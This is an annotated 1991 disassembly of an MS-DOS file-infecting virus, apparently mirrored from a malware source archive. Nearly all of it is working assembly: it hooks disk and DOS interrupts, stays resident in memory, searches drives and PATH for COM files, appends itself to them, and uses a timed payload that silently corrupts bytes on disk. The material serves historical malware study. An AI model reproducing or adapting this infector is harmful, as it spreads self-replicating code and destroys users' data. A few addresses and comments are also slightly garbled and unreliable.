mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 09:28:25 +00:00
906 lines
27 KiB
NASM
906 lines
27 KiB
NASM
;-------------------------------------------------
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; Virus
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;
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; dissasembled by Andrzej Kadlof July 1991
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;
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; (C) Polish section of Virus Information Bank
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;------------------------------------------------
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0100 E97801 JMP 027B
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; old INT 13h vector
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0103 7A0F
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0105 7000
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;====================
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; INT 13h handler
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0107 9C PUSHF
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0108 50 PUSH AX
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0109 53 PUSH BX
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010A 51 PUSH CX
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010B 52 PUSH DX
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010C 1E PUSH DS
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010D 06 PUSH ES
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010E 57 PUSH DI
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010F 0E PUSH CS
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0110 1F POP DS
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0111 50 PUSH AX
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0112 B000 MOV AL,00
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0114 3D0002 CMP AX,0200 ; request: read sectors?
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0117 58 POP AX ; restore oryginal function number
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0118 7571 JNZ 018B ; no, exit
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011A 80F900 CMP CL,00 ; first sector number (illegal)
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011D 7518 JNZ 0137 ; not zero, not virus question
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011F 81FF3412 CMP DI,1234 ; question from new copy of virus
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0123 7512 JNZ 0137 ; no
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; prepare answer for the question from next virsus copy
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0125 5F POP DI
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0126 BF2143 MOV DI,4321 ; answer: I'm here!
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0129 58 POP AX
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012A 58 POP AX
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012B A19901 MOV AX,[0199] ; old INT 21h
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012E 50 PUSH AX
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012F A19B01 MOV AX,[019B]
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0132 50 PUSH AX
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0133 57 PUSH DI
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0134 EB55 JMP 018B ; exit
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0136 90 NOP
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; check cylinder number, if not 4x + 2 or 4x + 3 then exit (x arbitrary)
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0137 51 PUSH CX
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0138 81E100FC AND CX,FC00
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013C 80FD00 CMP CH,00
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013F 59 POP CX
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0140 7449 JZ 018B ; exit
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; check time condition
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0142 51 PUSH CX
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0143 52 PUSH DX
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0144 B80000 MOV AX,0000
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0147 FB STI
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0148 CD1A INT 1A ; read the clock
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014A 81E2FF0F AND DX,0FFF ; low word of tick count since reset
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014E 83FA00 CMP DX,+00 ; about 3.7 min
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0151 5A POP DX
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0152 59 POP CX
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0153 7536 JNZ 018B ; exit
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;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
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;
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; DESTRUCTION! change one byte on the sector on the next track
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;
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;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
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0155 9C PUSHF
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0156 0E PUSH CS ; segment of return address
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0157 B86601 MOV AX,0166 ; offset of return address
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015A 50 PUSH AX
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015B B80102 MOV AX,0201 ; read 1 sector
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015E 80C501 ADD CH,01 ; next track
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0161 2EFF2E0301 JMP DWORD PTR CS:[0103] ; CALL FAR INT 13h
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0166 7223 JB 018B ; exit
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; get random number between 0 and 1FFh (minimal buffer size)
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0168 51 PUSH CX
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0169 52 PUSH DX
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016A B80000 MOV AX,0000
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016D FB STI
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016E CD1A INT 1A ; read the clock
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0170 81E2FF01 AND DX,01FF ; low word of tick count since reset
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; change one byte inside buffer
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0174 53 PUSH BX ; offset of buffer
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0175 03DA ADD BX,DX ; random byte in buffer
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0177 26880F MOV ES:[BX],CL ; undefined value (first sector)
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017A 5B POP BX ; restore buffer address
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; write buffer back to disk
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017B 5A POP DX ; disk/head
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017C 59 POP CX ; track/sector
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017D 9C PUSHF
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017E 0E PUSH CS ; segment of return address
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017F B88B01 MOV AX,018B ; offset of return address
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0182 50 PUSH AX
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0183 B80103 MOV AX,0301 ; write 1 sector
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0186 2EFF2E0301 JMP DWORD PTR CS:[0103] ; CALL FAR INT 13h
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; exit to old INT 13h
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018B 5F POP DI
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018C 07 POP ES
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018D 1F POP DS
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018E 5A POP DX
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018F 59 POP CX
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0190 5B POP BX
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0191 58 POP AX
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0192 9D POPF
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0193 2EFF2E0301 JMP DWORD PTR CS:[0103] ; INT 13h
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0198 90 NOP
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;---------------
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; working area
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; old INT 21h vector
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0199 9E10
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019B 1801
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019D 26 0D ; segment of environment block
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019F 80 00 ; address of command line
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01A1 2B 0D ; CS
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01A3 5C 00 ; first FCB in PSP
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01A5 2B 0D ; CS
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01A7 6C 00 ; second FCB in PSP
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01A9 2B 0D ; CS
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01AB CF 01 ; runtime SP
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01AD 2B 0D ; old SS, CS
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01AF 02 19 ; old SP
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;------------
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; local stack
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01B1 9D01
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01B3 857F
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01B5 FF58
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01B7 2B0D
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01B9 2F01
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01BB E37F
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01BD D300
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01BF 0001
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02C1 2C00
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01C3 260D
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02C5 2B0D
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01C7 430C
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01C9 2903
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01CB 2B0D
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01CD 02F2
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; end of local stack
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;-------------------
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01CF 90 NOP
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01D0 90 NOP
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;=====================
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; INT 21h handler
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01D1 9C PUSHF
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01D2 56 PUSH SI
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01D3 50 PUSH AX
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01D4 53 PUSH BX
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01D5 51 PUSH CX
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01D6 52 PUSH DX
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01D7 1E PUSH DS
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01D8 06 PUSH ES
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01D9 57 PUSH DI
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01DA 80FC4B CMP AH,4B ; load and execute
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01DD 7555 JNZ 0234 ; exit
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01DF 1E PUSH DS
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01E0 52 PUSH DX
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01E1 0E PUSH CS
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01E2 1F POP DS
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01E3 C70698036906 MOV WORD PTR [0398],0669 ; virus length
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01E9 E8E203 CALL 05CE ; intercept INT 24h and prepare local DTA
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01EC 5F POP DI
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01ED 07 POP ES
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01EE 06 PUSH ES
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01EF 57 PUSH DI
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01F0 B80000 MOV AX,0000
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01F3 B98000 MOV CX,0080
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01F6 F2AE REPNZ SCASB
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01F8 83F900 CMP CX,+00
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01FB 7432 JZ 022F
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01FD 4F DEC DI
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01FE B05C MOV AL,5C ; '\'
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0200 4F DEC DI
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0201 AE SCASB
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0202 75F9 JNZ 01FD
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0204 57 PUSH DI
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0205 59 POP CX
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0206 5E POP SI
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0207 1F POP DS
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0208 0E PUSH CS
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0209 07 POP ES
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020A BF6906 MOV DI,0669 ; buffer (area behind virus code)
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020D AC LODSB
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020E AA STOSB
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020F 3BF1 CMP SI,CX
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0211 75FA JNZ 020D
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0213 0E PUSH CS
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0214 1F POP DS
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0215 893EA203 MOV [03A2],DI
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0219 BEAC03 MOV SI,03AC
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021C B90600 MOV CX,0006
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021F AC LODSB
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0220 AA STOSB
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0221 E2FC LOOP 021F
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0223 BA6906 MOV DX,0669
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0226 E87302 CALL 049C ; find and infect one COM file
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0229 E8D703 CALL 0603 ; restore DTA and INT 24h
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022C EB06 JMP 0234 ; exit
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022E 90 NOP
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022F 58 POP AX
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0230 58 POP AX
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0231 E8CF03 CALL 0603 ; restore DTA and INT 24h
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; exit to old INT 21h
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0234 90 NOP
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0235 5F POP DI
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0236 07 POP ES
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0237 1F POP DS
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0238 5A POP DX
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0239 59 POP CX
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023A 5B POP BX
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023B 58 POP AX
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023C 5E POP SI
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023D 9D POPF
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023E 2EFF2E9901 JMP DWORD PTR CS:[0199]
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0243 90 NOP
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;------------------------
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; prepare Load & Execute
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0244 8CC0 MOV AX,ES
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0246 8BE8 MOV BP,AX
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0248 8BD7 MOV DX,DI ; offset of victim name
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024A 8CC8 MOV AX,CS
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024C 8EC0 MOV ES,AX ; segment of victim name
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024E BB9D01 MOV BX,019D ; run parameters
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0251 06 PUSH ES
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0252 53 PUSH BX
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0253 8CC8 MOV AX,CS ; block segment
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0255 8EC0 MOV ES,AX
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0257 BBD300 MOV BX,00D3 ; block size in paragraphs
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025A B44A MOV AH,4A ; resize memory block
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025C CD21 INT 21
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; free environment block
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025E BF2C00 MOV DI,002C ; address of environment block in PSP
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0261 8E05 MOV ES,[DI] ; segment of environment
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0263 B80049 MOV AX,4900 ; free memory block
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0266 CD21 INT 21
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0268 5B POP BX
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0269 07 POP ES
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026A 58 POP AX
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026B 8C0EAD01 MOV [01AD],CS
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026F 8E16AD01 MOV SS,[01AD]
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0273 8B26AB01 MOV SP,[01AB]
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0277 8EDD MOV DS,BP
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0279 50 PUSH AX
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027A C3 RET
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;===========================
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; virus entry point
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; look for resident part of virus in RAM
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; on system with 3 floppy drives this test may hang the computer
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; (unspecified I/O buffer BX)
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027B B203 MOV DL,03 ; third floppy drive
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027D B600 MOV DH,00 ; head 0
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027F B100 MOV CL,00 ; first sector 0
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0281 B500 MOV CH,00 ; track
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0283 B80102 MOV AX,0201 ; read 1 sector
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0286 BF3412 MOV DI,1234 ; is already in memory?
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0289 CD13 INT 13
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028B 81FF2143 CMP DI,4321 ; expected answer
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028F 7503 JNZ 0294 ; memory is clear
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0291 E92601 JMP 03BA ; exit
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; intercept INT 21h and INT 13h
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0294 B82135 MOV AX,3521 ; get INT 21h
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0297 CD21 INT 21
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0299 891E9901 MOV [0199],BX
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029D 8C069B01 MOV [019B],ES
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02A1 BAD101 MOV DX,01D1
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02A4 B82125 MOV AX,2521 ; set INT 21h
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02A7 CD21 INT 21
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02A9 B435 MOV AH,35 ; get INT 13h
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02AB B013 MOV AL,13
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02AD CD21 INT 21
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02AF 891E0301 MOV [0103],BX
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02B3 8C060501 MOV [0105],ES
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02B7 B425 MOV AH,25 ; set INT 13h
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02B9 B013 MOV AL,13
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02BB BA0701 MOV DX,0107
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02BE CD21 INT 21
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; prepare Load & Execute
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02C0 BF2C00 MOV DI,002C ; address of environment in PSP
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02C3 8B05 MOV AX,[DI]
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02C5 A39D01 MOV [019D],AX
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02C8 8C0EA101 MOV [01A1],CS
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02CC C7069F018000 MOV WORD PTR [019F],0080 ; command line
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02D2 8C0EA501 MOV [01A5],CS
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02D6 C706A3015C00 MOV WORD PTR [01A3],005C ; first FCB in PSP
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02DC 8C0EA901 MOV [01A9],CS
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02E0 C706A7016C00 MOV WORD PTR [01A7],006C ; second FCB
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; look for program name (DOS 3.x or higher)
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02E6 FC CLD
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02E7 BF2C00 MOV DI,002C ; segment of environment block
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02EA 8E05 MOV ES,[DI]
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02EC BF0000 MOV DI,0000 ; start of environment
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02EF B80000 MOV AX,0000 ; end of block marker
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02F2 B90080 MOV CX,8000 ; maxim block size
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02F5 2BCF SUB CX,DI ; end of block
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02F7 7230 JB 0329 ; not found
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02F9 F2AE REPNZ SCASB
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02FB B80000 MOV AX,0000
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02FE AE SCASB
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02FF 75EE JNZ 02EF
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0301 B80100 MOV AX,0001
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0304 AE SCASB
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0305 7522 JNZ 0329
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0307 B80000 MOV AX,0000
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030A AE SCASB
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030B 751C JNZ 0329
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030D E834FF CALL 0244 ; prepare Load & Execute
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0310 B8004B MOV AX,4B00 ; load and execute
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0313 E86F00 CALL 0385 ; INT 21h
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; clear environment block
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0316 0E PUSH CS
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0317 1F POP DS
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0318 BF2C00 MOV DI,002C ; environment
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031B B80000 MOV AX,0000 ; end of block marker
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031E 8905 MOV [DI],AX ; start of block
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0320 BAD300 MOV DX,00D3 ; size of virus block in paragraphs
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0323 B80031 MOV AX,3100 ; terminate and state resident
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0326 E85C00 CALL 0385 ; far call to INT 21h
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; victim name not found (DOS < 3.0)
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; execute command >C:\COMMAND.COM /P
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0329 E818FF CALL 0244 ; prepare Load & Execute
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032C 0E PUSH CS
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032D 1F POP DS
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032E BA7603 MOV DX,0376 ; 'c:\command.com',0
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0331 57 PUSH DI
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0332 BF8000 MOV DI,0080 ; command line
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0335 C705022F MOV WORD PTR [DI],2F02 ; 2, '/'
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0339 C74502500D MOV WORD PTR [DI+02],0D50 ; 'P', CR
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033E 5F POP DI
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033F B8004B MOV AX,4B00 ; load and execute
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0342 E84000 CALL 0385 ; far call to INT 21h
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0345 B86300 MOV AX,0063 ; 'c'
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0348 57 PUSH DI
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0349 BF7603 MOV DI,0376 ; 'c:\command.com',0
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034C 8805 MOV [DI],AL
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034E 5F POP DI
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034F B8004B MOV AX,4B00 ; load and execute
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0352 E83000 CALL 0385 ; far call to INT 21h
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; restore INT 13h
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0355 B81325 MOV AX,2513 ; set INT 13h
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0358 8B160301 MOV DX,[0103]
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035C FF360501 PUSH [0105]
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0360 1F POP DS
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0361 CD21 INT 21
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; restore INT 13h
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0363 B82125 MOV AX,2521
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0366 8B169901 MOV DX,[0199]
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036A FF369B01 PUSH [019B]
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036E 1F POP DS
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036F CD21 INT 21
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0371 0E PUSH CS
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0372 1F POP DS
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0373 EB45 JMP 03BA
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0375 90 NOP
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0376 63 3A 5C 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00 ; c:\COMMAND.COM
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;---------------------
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; FAR CALL to INT 21h
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0385 2E8F069603 POP CS:[0396] ; offset of caller
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038A 9C PUSHF ; prepare jump to INT 21h
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038B 0E PUSH CS ; segment of return address
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038C 2EFF369603 PUSH CS:[0396] ; offset of return addres
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0391 2EFF2E9901 JMP DWORD PTR CS:[0199] ; CALL FAR INT 13h
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;--------------
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; working area
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0396 96 05 ; place for offset of return address
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0398 60 D2 ; length of victim
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039A 80 00 ; old DTA offset
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039C C2 0A ; old DTA segment
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039E 00 00 ; counter ?
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03A0 00 00 ; DS
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03A2 FA CC ; working, end of path
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03A4 50 41 54 48 3D ; PATH=
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03A9 61 3A 5C 2A 2E 63 6F 6D 00 ; a:\*.com, 0
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; old INT 24h
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03B2 49 01 ; offset
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03B4 48 09 ; segment
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;==================
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; INT 24h handler
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03B6 90 NOP
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03B7 B003 MOV AL,03
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03B9 CF IRET
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;---------------------------------
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; virus alredy resident, continue
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03BA 06 PUSH ES
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03BB 1E PUSH DS
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03BC 0E PUSH CS
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03BD 1F POP DS
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03BE 8F069901 POP [0199] ; old INT 21h offset
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03C2 8F069B01 POP [019B] ; old INT 21h segment
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03C6 E80502 CALL 05CE ; prepare INT 24h and DTA
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03C9 BEA903 MOV SI,03A9 ; address of 'a:\*.com, 0'
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03CC 8B3E9803 MOV DI,[0398] ; buffer outside viruse code
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03D0 B90900 MOV CX,0009 ; number of bytes
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03D3 AC LODSB
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03D4 AA STOSB
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03D5 E2FC LOOP 03D3
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03D7 8B3E9803 MOV DI,[0398] ; buffer
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03DB 83C703 ADD DI,+03
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03DE 893EA203 MOV [03A2],DI
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03E2 8B3E9803 MOV DI,[0398]
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03E6 B86100 MOV AX,0061 ; drive 'a'
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03E9 8805 MOV [DI],AL ; patch 'a:\*.com', 0
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03EB 8BD7 MOV DX,DI ; buffer
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03ED E8AC00 CALL 049C ; find and infect one COM program
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03F0 BEA903 MOV SI,03A9
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03F3 8B3E9803 MOV DI,[0398]
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03F7 B90900 MOV CX,0009
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03FA AC LODSB
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03FB AA STOSB
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03FC E2FC LOOP 03FA
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03FE 8B3E9803 MOV DI,[0398]
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0402 B86300 MOV AX,0063 ; drive 'c'
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0405 8805 MOV [DI],AL ; patch 'a:\*.com', 0
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0407 8BD7 MOV DX,DI
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0409 E89000 CALL 049C ; find and infect one COM program
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|
|
040C 7203 JB 0411
|
|
|
|
040E E91302 JMP 0624
|
|
|
|
0411 BF2C00 MOV DI,002C ; environment
|
|
0414 8E05 MOV ES,[DI]
|
|
0416 BF0000 MOV DI,0000
|
|
0419 BEA403 MOV SI,03A4 ; 'PATH='
|
|
041C 46 INC SI
|
|
041D B85000 MOV AX,0050 ; 'P'
|
|
0420 B90080 MOV CX,8000 ; max block size
|
|
0423 2BCF SUB CX,DI
|
|
0425 7303 JAE 042A
|
|
|
|
0427 E9FA01 JMP 0624 ; not found
|
|
|
|
042A F2AE REPNZ SCASB
|
|
042C B90400 MOV CX,0004
|
|
042F AC LODSB
|
|
0430 AE SCASB
|
|
0431 75E6 JNZ 0419
|
|
|
|
0433 E2FA LOOP 042F
|
|
|
|
0435 8B369803 MOV SI,[0398]
|
|
0439 56 PUSH SI
|
|
043A 57 PUSH DI
|
|
043B 5E POP SI
|
|
043C 5F POP DI
|
|
043D 06 PUSH ES
|
|
043E 0E PUSH CS
|
|
043F 07 POP ES
|
|
0440 1F POP DS
|
|
0441 AC LODSB
|
|
0442 AA STOSB
|
|
0443 3C3B CMP AL,3B ; ';' end of path marker
|
|
0445 7409 JZ 0450
|
|
|
|
0447 3C00 CMP AL,00 ; end of block marker
|
|
0449 7402 JZ 044D
|
|
|
|
044B EBF4 JMP 0441 ; end of block
|
|
|
|
044D BE0000 MOV SI,0000
|
|
0450 1E PUSH DS
|
|
0451 0E PUSH CS
|
|
0452 1F POP DS
|
|
0453 8F06A003 POP [03A0]
|
|
0457 89369E03 MOV [039E],SI
|
|
045B 4F DEC DI
|
|
045C 4F DEC DI
|
|
|
|
; check for last character '\', add if necessary
|
|
|
|
045D B05C MOV AL,5C ; '\'
|
|
045F 3805 CMP [DI],AL
|
|
0461 7403 JZ 0466
|
|
|
|
0463 47 INC DI
|
|
0464 8805 MOV [DI],AL
|
|
0466 47 INC DI
|
|
|
|
; form new path ....\*.com, 0
|
|
|
|
0467 BEAC03 MOV SI,03AC ; *.com
|
|
046A 893EA203 MOV [03A2],DI
|
|
046E B90600 MOV CX,0006 ; length
|
|
|
|
0471 AC LODSB
|
|
0472 AA STOSB
|
|
0473 E2FC LOOP 0471
|
|
|
|
0475 A19803 MOV AX,[0398] ; buffer
|
|
0478 8BD0 MOV DX,AX
|
|
047A E81F00 CALL 049C ; find and infect COM file
|
|
|
|
047D 7203 JB 0482
|
|
|
|
047F E9A201 JMP 0624
|
|
|
|
0482 833E9E0300 CMP WORD PTR [039E],+00
|
|
0487 7503 JNZ 048C
|
|
|
|
0489 E99801 JMP 0624
|
|
|
|
048C A19803 MOV AX,[0398]
|
|
048F 8BF8 MOV DI,AX
|
|
0491 8B369E03 MOV SI,[039E]
|
|
0495 FF36A003 PUSH [03A0]
|
|
0499 1F POP DS
|
|
049A EBA5 JMP 0441
|
|
|
|
;---------------------------------
|
|
; find and infect one COM program
|
|
|
|
049C 0E PUSH CS
|
|
049D 07 POP ES
|
|
049E B8004E MOV AX,4E00 ; find first
|
|
04A1 B90300 MOV CX,0003 ; hiden, read only
|
|
04A4 E8DEFE CALL 0385 ; far call to INT 21h
|
|
|
|
04A7 730C JAE 04B5
|
|
|
|
04A9 C3 RET
|
|
|
|
04AA B44F MOV AH,4F ; find next
|
|
04AC B90300 MOV CX,0003 ; hiden, read only
|
|
04AF E8D3FE CALL 0385 ; far call to INT 21h
|
|
|
|
04B2 7301 JAE 04B5
|
|
|
|
04B4 C3 RET
|
|
|
|
; start infection
|
|
|
|
04B5 8B3E9803 MOV DI,[0398] ; buffer
|
|
04B9 81C78000 ADD DI,0080 ; set DI to DTA
|
|
04BD 83C71A ADD DI,+1A ; file length
|
|
04C0 8B05 MOV AX,[DI]
|
|
04C2 2D0010 SUB AX,1000 ; minimum victim size
|
|
04C5 7215 JB 04DC ; file too small, find next
|
|
|
|
04C7 8B05 MOV AX,[DI] ; file size
|
|
04C9 2DFFEF SUB AX,EFFF ; maximum file size
|
|
04CC 730E JAE 04DC ; file too big, find next
|
|
|
|
04CE 83EF04 SUB DI,+04 ; file time stamp
|
|
04D1 8B05 MOV AX,[DI]
|
|
04D3 241F AND AL,1F ; extract seconds
|
|
04D5 3C18 CMP AL,18 ; 48 seconds
|
|
04D7 7403 JZ 04DC ; infected, find next
|
|
|
|
04D9 EB03 JMP 04DE ; continue
|
|
04DB 90 NOP
|
|
|
|
04DC EBCC JMP 04AA ; find next
|
|
|
|
; copy file name to buffer
|
|
|
|
04DE 83C708 ADD DI,+08
|
|
04E1 8BF7 MOV SI,DI
|
|
04E3 8B3EA203 MOV DI,[03A2]
|
|
04E7 AC LODSB
|
|
04E8 AA STOSB
|
|
04E9 3C00 CMP AL,00
|
|
04EB 75FA JNZ 04E7
|
|
|
|
; find new file length
|
|
|
|
04ED 8B3E9803 MOV DI,[0398]
|
|
04F1 81C78000 ADD DI,0080 ; set DI to local DTA
|
|
04F5 83C71A ADD DI,+1A ; file length
|
|
04F8 8B05 MOV AX,[DI]
|
|
04FA 056906 ADD AX,0669 ; new file length
|
|
04FD FF369803 PUSH [0398]
|
|
0501 50 PUSH AX
|
|
|
|
; clear flag Read Only
|
|
|
|
0502 8B169803 MOV DX,[0398]
|
|
0506 B80043 MOV AX,4300 ; get attributes
|
|
0509 E879FE CALL 0385 ; far call to INT 21h
|
|
|
|
050C 890EC805 MOV [05C8],CX ; store old attributes
|
|
0510 81E1FEFF AND CX,FFFE ; clear read only flag
|
|
0514 B80143 MOV AX,4301 ; set attributes
|
|
0517 E86BFE CALL 0385 ; far call to INT 21h
|
|
|
|
051A 7233 JB 054F ; error, exit
|
|
|
|
; open file for read/write
|
|
|
|
051C B8023D MOV AX,3D02 ; open file for read/write
|
|
051F E863FE CALL 0385 ; far call to INT 21h
|
|
|
|
0522 722B JB 054F ; error, exit
|
|
|
|
; set 48 second in file time stamp
|
|
|
|
0524 8BD8 MOV BX,AX ; hundle
|
|
0526 B80057 MOV AX,5700 ; get time stamp
|
|
0529 E859FE CALL 0385 ; far call to INT 21h
|
|
|
|
052C 81E1E0FF AND CX,FFE0 ; clear seconds
|
|
0530 83C118 ADD CX,+18 ; set to 48
|
|
0533 890ECA05 MOV [05CA],CX ; store for later
|
|
0537 8916CC05 MOV [05CC],DX
|
|
|
|
; copy first 669h bytes of file to the end
|
|
|
|
; read beginnig of file (669h bytes)
|
|
|
|
053B B96906 MOV CX,0669 ; virus length
|
|
053E 81E90001 SUB CX,0100 ; size of PSP
|
|
0542 8B169803 MOV DX,[0398]
|
|
0546 81C20001 ADD DX,0100 ; buffer
|
|
054A B43F MOV AH,3F ; read file
|
|
054C E836FE CALL 0385 ; far call to INT 21h
|
|
|
|
054F 7271 JB 05C2 ; error, exit
|
|
|
|
; move file ptr back to BOF
|
|
|
|
0551 8BFA MOV DI,DX
|
|
0553 BA0000 MOV DX,0000
|
|
0556 B90000 MOV CX,0000
|
|
0559 B80242 MOV AX,4202 ; move file ptr to EOF
|
|
055C E826FE CALL 0385 ; far call to INT 21h
|
|
|
|
055F 7261 JB 05C2 ; error, exit
|
|
|
|
; vrite virus code to file
|
|
|
|
0561 8BD7 MOV DX,DI
|
|
0563 B96906 MOV CX,0669 ; virus length
|
|
0566 81E90001 SUB CX,0100
|
|
056A B440 MOV AH,40 ; write file
|
|
056C E816FE CALL 0385 ; far call to INT 21h
|
|
|
|
056F 7251 JB 05C2 ; error, exit
|
|
|
|
; move file ptr to EOF
|
|
|
|
0571 BA0000 MOV DX,0000
|
|
0574 B90000 MOV CX,0000
|
|
0577 B80042 MOV AX,4200 ; move file ptr to BOF
|
|
057A E808FE CALL 0385 ; far call to INT 21h
|
|
|
|
057D 7243 JB 05C2
|
|
|
|
; write to file its beginning block
|
|
|
|
057F 8F069803 POP [0398]
|
|
0583 FF369803 PUSH [0398]
|
|
0587 B96906 MOV CX,0669 ; end of virus code
|
|
058A 81E90001 SUB CX,0100 ; size of PSP
|
|
058E BA0001 MOV DX,0100 ; from buffer
|
|
0591 B440 MOV AH,40 ; write file
|
|
0593 E8EFFD CALL 0385 ; far call to INT 21h
|
|
|
|
0596 722A JB 05C2
|
|
; error, exit
|
|
|
|
; restore file time stamp
|
|
|
|
0598 8B0ECA05 MOV CX,[05CA] ; restore time stamp
|
|
059C 8B16CC05 MOV DX,[05CC] ; restore date stamp
|
|
05A0 B80157 MOV AX,5701 ; set file time stamp
|
|
05A3 E8DFFD CALL 0385 ; far call to INT 21h
|
|
|
|
; close file
|
|
|
|
05A6 B43E MOV AH,3E ; close file
|
|
05A8 E8DAFD CALL 0385 ; far call to INT 21h
|
|
|
|
; restore file attributes
|
|
|
|
05AB 8F069803 POP [0398]
|
|
05AF 8F069803 POP [0398]
|
|
05B3 8B169803 MOV DX,[0398]
|
|
05B7 8B0EC805 MOV CX,[05C8] ; retore file attributes
|
|
05BB B80143 MOV AX,4301 ; set file attributes
|
|
05BE E8C4FD CALL 0385 ; far call to INT 21h
|
|
|
|
05C1 C3 RET
|
|
|
|
; exit after any error
|
|
|
|
05C2 58 POP AX
|
|
05C3 8F069803 POP [0398]
|
|
05C7 C3 RET
|
|
|
|
05C8 20 00 ; file attributes
|
|
05CA D8A8 ; file time stamp
|
|
05CC D516 ; file date stamp
|
|
|
|
;-----------------------------------------
|
|
; intercept INT 24h and prepare local DTA
|
|
|
|
; get INT 24h
|
|
|
|
05CE B82435 MOV AX,3524 ; get INT 24h
|
|
05D1 E8B1FD CALL 0385 ; far call to INT 21h
|
|
|
|
05D4 891EB203 MOV [03B2],BX
|
|
05D8 8C06B403 MOV [03B4],ES
|
|
|
|
; set new INT 24h
|
|
|
|
05DC B425 MOV AH,25 ; set
|
|
05DE B024 MOV AL,24 ; int 24h
|
|
05E0 BAB603 MOV DX,03B6 ; offset of new handler
|
|
05E3 E89FFD CALL 0385 ; far call to INT 21h
|
|
|
|
; get current DTA
|
|
|
|
05E6 B42F MOV AH,2F ; get DTA
|
|
05E8 E89AFD CALL 0385 ; far call to INT 21h
|
|
|
|
05EB 8C069C03 MOV [039C],ES
|
|
05EF 891E9A03 MOV [039A],BX
|
|
|
|
; set new local DTA
|
|
|
|
05F3 B41A MOV AH,1A ; set DTA
|
|
05F5 0E PUSH CS
|
|
05F6 1F POP DS
|
|
05F7 8B169803 MOV DX,[0398]
|
|
05FB 81C28000 ADD DX,0080
|
|
05FF E883FD CALL 0385 ; far call to INT 21h
|
|
|
|
0602 C3 RET
|
|
|
|
;-------------------------
|
|
; restore INT 24h and DTA
|
|
|
|
; prepare registers
|
|
|
|
0603 0E PUSH CS
|
|
0604 1F POP DS
|
|
0605 0E PUSH CS
|
|
0606 07 POP ES
|
|
|
|
; restore INT 24h
|
|
|
|
0607 B82425 MOV AX,2524 ; set INT 24h
|
|
060A 8B16B203 MOV DX,[03B2]
|
|
060E 8E1EB403 MOV DS,[03B4]
|
|
0612 E870FD CALL 0385 ; far call to INT 21h
|
|
|
|
; retsore DTA
|
|
|
|
0615 8B169A03 MOV DX,[039A]
|
|
0619 FF369C03 PUSH [039C]
|
|
061D 1F POP DS
|
|
061E B41A MOV AH,1A
|
|
0620 E862FD CALL 0385 ; far call to INT 21h
|
|
|
|
0623 C3 RET
|
|
|
|
;---------------------
|
|
; exit to application
|
|
|
|
0624 E8DCFF CALL 0603 ; restore INT 24h and DTA
|
|
|
|
0627 0E PUSH CS
|
|
0628 1F POP DS
|
|
0629 BE3E06 MOV SI,063E ; start of oryginal code
|
|
062C 8B3E9803 MOV DI,[0398] ; length of victim
|
|
|
|
; copy victim code
|
|
|
|
0630 AC LODSB
|
|
0631 AA STOSB
|
|
0632 81FE6906 CMP SI,0669
|
|
0636 75F8 JNZ 0630
|
|
|
|
0638 8B3E9803 MOV DI,[0398] ; RET address
|
|
063C 57 PUSH DI
|
|
063D C3 RET
|
|
|
|
063E B96906 MOV CX,0669
|
|
0641 81E90001 SUB CX,0100
|
|
0645 8B369803 MOV SI,[0398]
|
|
0649 2BF1 SUB SI,CX
|
|
064B 0E PUSH CS
|
|
064C 1F POP DS
|
|
064D BF0001 MOV DI,0100
|
|
0650 AC LODSB
|
|
0651 AA STOSB
|
|
0652 E2FC LOOP 0650
|
|
|
|
0654 33C0 XOR AX,AX
|
|
0656 33DB XOR BX,BX
|
|
0658 33C9 XOR CX,CX
|
|
065A 33D2 XOR DX,DX
|
|
065C 33F6 XOR SI,SI
|
|
065E BF0001 MOV DI,0100
|
|
0661 57 PUSH DI
|
|
0662 33FF XOR DI,DI
|
|
0664 33ED XOR BP,BP
|
|
0666 C3 RET
|
|
|
|
0667 90 NOP
|
|
0668 90 NOP
|
|
|
|
; end resident part of virus
|
|
;-----------------------------
|
|
; victim code
|
|
|